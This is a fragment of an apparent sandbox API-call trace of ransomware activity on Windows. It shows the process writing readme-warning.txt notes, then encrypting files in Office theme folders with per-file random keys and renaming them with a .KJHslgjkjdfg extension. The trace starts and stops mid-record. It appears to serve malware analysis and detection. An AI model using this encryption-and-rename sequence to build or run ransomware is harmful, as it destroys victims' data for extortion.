lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0146.369] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.369] GetProcessHeap () returned 0x2a0000 [0146.369] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.369] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0146.369] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0146.369] GetProcessHeap () returned 0x2a0000 [0146.369] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0146.369] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\readme-warning.txt") returned 81 [0146.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.370] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0146.371] CloseHandle (hObject=0x118) returned 1 [0146.371] GetProcessHeap () returned 0x2a0000 [0146.371] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0146.371] GetProcessHeap () returned 0x2a0000 [0146.371] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0146.371] GetProcessHeap () returned 0x2a0000 [0146.371] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0146.371] GetProcessHeap () returned 0x2a0000 [0146.371] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.371] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0146.371] GetProcessHeap () returned 0x2a0000 [0146.372] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0146.372] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0146.372] GetProcessHeap () returned 0x2a0000 [0146.372] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x92) returned 0x2c7fd8 [0146.372] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0146.372] GetProcessHeap () returned 0x2a0000 [0146.372] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fd8 | out: hHeap=0x2a0000) returned 1 [0146.372] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.372] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0146.372] GetProcessHeap () returned 0x2a0000 [0146.372] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x294) returned 0x2f32d0 [0146.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.374] GetProcessHeap () returned 0x2a0000 [0146.374] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.374] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.374] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.374] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x6, lpOverlapped=0x0) returned 1 [0146.376] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.376] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.376] GetProcessHeap () returned 0x2a0000 [0146.376] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.376] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.376] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.376] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.376] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.376] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.376] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.377] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.377] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.377] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.377] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.377] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.377] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe1ba, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xe1ba, lpOverlapped=0x0) returned 1 [0146.378] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xe1c0, dwBufLen=0xe1c0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xe1c0) returned 1 [0146.379] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.379] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe1c0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xe1c0, lpOverlapped=0x0) returned 1 [0146.379] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.379] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xe294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.379] SetEndOfFile (hFile=0x118) returned 1 [0146.383] GetProcessHeap () returned 0x2a0000 [0146.383] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.383] GetProcessHeap () returned 0x2a0000 [0146.383] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.383] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm.kjhslgjkjdfg")) returned 1 [0146.384] CloseHandle (hObject=0x118) returned 1 [0146.384] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0146.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.384] GetProcessHeap () returned 0x2a0000 [0146.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.384] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.384] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.384] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xb, lpOverlapped=0x0) returned 1 [0146.386] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.386] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.386] GetProcessHeap () returned 0x2a0000 [0146.386] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.387] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.387] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.387] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.387] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.387] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.387] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.387] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.387] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.387] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.387] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.387] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.387] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f5, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1f5, lpOverlapped=0x0) returned 1 [0146.388] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x200, dwBufLen=0x200 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x200) returned 1 [0146.388] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.388] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x200, lpOverlapped=0x0) returned 1 [0146.388] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.388] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.388] SetEndOfFile (hFile=0x118) returned 1 [0146.391] GetProcessHeap () returned 0x2a0000 [0146.391] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.391] GetProcessHeap () returned 0x2a0000 [0146.391] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf.kjhslgjkjdfg")) returned 1 [0146.397] CloseHandle (hObject=0x118) returned 1 [0146.397] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0146.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.398] GetProcessHeap () returned 0x2a0000 [0146.398] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.398] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.398] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.398] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.400] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.400] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.401] GetProcessHeap () returned 0x2a0000 [0146.401] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.401] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.401] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.401] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.401] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.401] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.401] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.401] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.401] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.401] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.401] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.401] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.401] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7fc, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x7fc, lpOverlapped=0x0) returned 1 [0146.402] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x800, dwBufLen=0x800 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x800) returned 1 [0146.402] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.402] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x800, lpOverlapped=0x0) returned 1 [0146.402] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.402] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x8d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.402] SetEndOfFile (hFile=0x118) returned 1 [0146.405] GetProcessHeap () returned 0x2a0000 [0146.405] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.405] GetProcessHeap () returned 0x2a0000 [0146.405] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.405] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.kjhslgjkjdfg")) returned 1 [0146.406] CloseHandle (hObject=0x118) returned 1 [0146.406] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0146.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.406] GetProcessHeap () returned 0x2a0000 [0146.406] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.406] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.406] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.406] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xb, lpOverlapped=0x0) returned 1 [0146.411] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.411] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.411] GetProcessHeap () returned 0x2a0000 [0146.411] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.411] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.411] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.411] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, 